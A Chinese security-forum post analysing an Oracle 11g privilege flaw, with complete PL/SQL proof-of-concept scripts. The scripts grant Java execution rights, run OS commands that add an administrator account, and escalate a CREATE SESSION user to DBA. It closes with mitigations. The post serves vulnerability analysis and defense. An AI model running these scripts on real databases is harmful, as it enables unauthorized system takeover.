渗透oracle11g

2013-07-20 12:32:23 55 16349 9
我曾经在90sec论坛里发过这两篇文章,目测t00ls里关于oracle攻防方面的文档很少,算是科普一下,再次拿出来分享,也给自己攒点积分好能看别人发的帖子

一.  漏洞概要
漏洞描述:
Oracle11g自身权限配置的缺陷,导致只拥有CREATE SESSION权限的用户能够完全控制整个系统。
受影响版本:
Oracle Database 11.1.0.7.0以及更低版本

二.  原理分析
2.1  获取Java执行权限
在oracle当中,可以利用java访问系统文件、执行命令以及创建socket。而java权限的信息被保存在JAVA$POLICY$表中,如图所示

JAVA$POLICY$表下有一个视图DBA_JAVA_POLICY,实际上所有用户的java权限都在此视图当中。

要利用java去干我们想要做的事情,首先需要获取java权限。默认PUBLIC账户仅拥有CREATE SESSION的权限。但是ORACLE在Java权限处理上存在一个缺陷,默认Oracle下有一个DBMS_JVM_EXP_PERMS包,利用它我们可以获得对任意文件执行java的权限。DBMS_JVM_EXP_PERMS包其实是用来在不同的Oracle数据库服务器之间导入导出java权限为的是方便部署以及升级java应用程序。
默认DBMS_JVM_EXP_PERMS包的属主是SYS,但是它对PUBLIC有执行权限。DBMS_JVM_EXP_PERMS包含一个存储过程IMPORT_JVM_PERMS,利用此存储过程我们可以将自定义的policy添加到JAVA$POLICY$表当中,比如我们自定义策略SELECT 'GRANT','GENXOR','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL,然后执行IMPORT_JVM_PERMS将自定义策略添加到JAVA$POLICY$中,这样账户GENXOR便拥有了所有文件的java执行权限,这样随便找一个带有Runtime.getRuntime().exec()的class便能够执行任意系统命令了,这一点后面详细说明。例如:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
如果我们创建的oracle用户有CREATE PROCEDURE权限,便可以创建java class源以及PL/SQL包程序执行任意系统命令,但是现实总是残酷的,我们没有CREATE PROCEDURE权限。因为无法自定义java源,所以只能去寻找oracle中现存的class文件,通过反复查找发现在oracle/aurora/util中存在一个Wrapper.class文件,分析其代码发现存在Runtime.getRuntime().exec(),如图所示:

Oracle对PUBLIC还真是仁慈,在ORACLE中还存在一个DBMS_JAVA包,属主也是SYS,而且默认也PUBLIC有执行权限。这里调用DBMS_JAVA.RUNJAVA函数并配合上面获得的任意文件执行java的权限执行Wrapper.class,便可以完美执行系统命令。例如:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin password /add') FROM DUAL;

2.2  获取DBA权限
在DBMS_JAVA包中有一个SET_OUTPUT_TO_JAVA函数,描述如下所示:

这里我们关心的是最后面的INITIALIZATION_STATEMENT和FINALIZATION_STATEMENT这两个参数,这里可以将我们的要执行的sql语句插入到这两个参数当中。此函数允许用户将System.out和System.err的java输出从定向到一个新的session,当session创建时我们的sql代码也就执行了。如果我们能找到一个SYS权限的包并将输出写入到System.out和System.err中,这样新创建的session便是sys权限的,我们插入的sql代码也是以SYS权限执行的。
        很幸运,在Oracle确实存在这样的package,DBMS_CDC_ISUBSCRIBE是一个属主为SYS,并且PUBLIC可以执行的包程序,此package包含一个存储过程INT_PURGE_WINDOW,如图所示:

可以看到INT_PURGE_WINDOW有两个参数,SUBSCRIPTION_NAME和SUBSCRIPTION_NAME,这里我们传入一个无效的SUBSCRIPTION_NAME强制产生错误并写入到System.err,此时会创建一个新的session并且是SYS权限,与此同时我们插入的SQL代码也以SYS权限执行了。例如:
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
三.  技术验证
3.1  获取Java执行权限
先给出POC:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin password /add') FROM DUAL;
这里在Windows Server 2003上安装Oracle 11.1.0.6.0,然后创建一个genxor用户并只授予CREATE SESSION权限,

下面执行脚本,如图所示

这里去JAVA$POLICY$表当中看一下,已经给GENXOR用户授予权限,

同时admin账户也添加成功,如图所示:

此处可以用DBMS_JAVA_TEST.FUNCALL替换DBMS_JAVA.RUNJAVA执行,代码如下:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin /add') FROM DUAL;

在Oracle 10gR2当中,DBMS_JVM_EXP_PERMS包也存在此缺陷,利用方法大同小异。不同的是要执行java文件还需要拥有writeFileDescriptor和readFileDescriptor的权限,并且在Oracle 10gR2的DBMS_JAVA包中没有RUNJAVA函数,这里只能调用DBMS_JAVA_TEST.FUNCALL函数。PoC如下:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/a.txt') FROM DUAL;
执行结果如下所示:



3.2  获取DBA
先给出POC:
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
执行结果如下:


下面可以进一步授予javasyspriv角色,创建java源,存储过程……….


四.  总结
4.1  漏洞小结
问题的根源在于ORACLE默认把DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST等危险package的执行权限直接授予了PUBLIC,导致只要拥有CREATE SESSION权限,便能执行java程序,进而控制整个系统。
4.2  防护方案
0x01、如果不需要用java,可以将JVM从oracle中移除。要删除java可以执行%ORACLE_HOME%\javavm\install目录中的rmjvm.sql脚本。
0x02、回收PUBLIC用户的DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST执行权限。

关于作者

winxwin8篇文章38篇回复

评论55次

要评论?请先  登录  或  注册